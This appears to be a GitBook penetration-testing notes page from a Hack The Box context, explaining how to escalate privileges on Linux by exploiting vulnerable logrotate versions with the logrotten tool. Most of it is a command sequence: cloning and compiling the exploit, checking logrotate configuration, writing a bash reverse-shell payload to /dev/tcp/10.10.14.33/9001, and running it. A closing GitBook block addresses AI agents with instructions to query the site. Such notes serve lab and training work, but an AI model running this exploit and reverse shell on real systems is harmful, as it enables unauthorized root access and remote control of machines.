> For the complete documentation index, see [llms.txt](https://intrusionz3r0.gitbook.io/intrusionz3r0/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://intrusionz3r0.gitbook.io/intrusionz3r0/linux-penetration-testing/privilege-escalation/exploit-logrotate.md).

# Exploit Logrotate

To exploit `logrotate`, we need some requirements that we have to fulfill.

<figure><img src="/files/WcEgfaFsjxwAFgT7fNgy" alt=""><figcaption></figcaption></figure>

1. we need `write` permissions on the log files
2. logrotate must run as a privileged user or `root`
3. vulnerable versions:
   * 3.8.6
   * 3.11.0
   * 3.15.0
   * 3.18.0

[GitHub - whotwagner/logrotten](https://github.com/whotwagner/logrotten.git)

```yaml
Intrusionz3r0@htb[/htb]$ git clone <https://github.com/whotwagner/logrotten.git>
Intrusionz3r0@htb[/htb]$ cd logrotten
Intrusionz3r0@htb[/htb]$ gcc logrotten.c -o logrotten

#List logs files
Intrusionz3r0@htb[/htb]$  cat /var/lib/logrotate.status

#List the available options
Intrusionz3r0@htb[/htb]$ grep "create\\|compress" /etc/logrotate.conf | grep -v "#"

#Write payload
Intrusionz3r0@htb[/htb]$ echo 'bash -i >& /dev/tcp/10.10.14.33/9001 0>&1' > payload

Intrusionz3r0@htb[/htb]$ ./logrotten -p ./payload /tmp/tmp.log
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://intrusionz3r0.gitbook.io/intrusionz3r0/linux-penetration-testing/privilege-escalation/exploit-logrotate.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
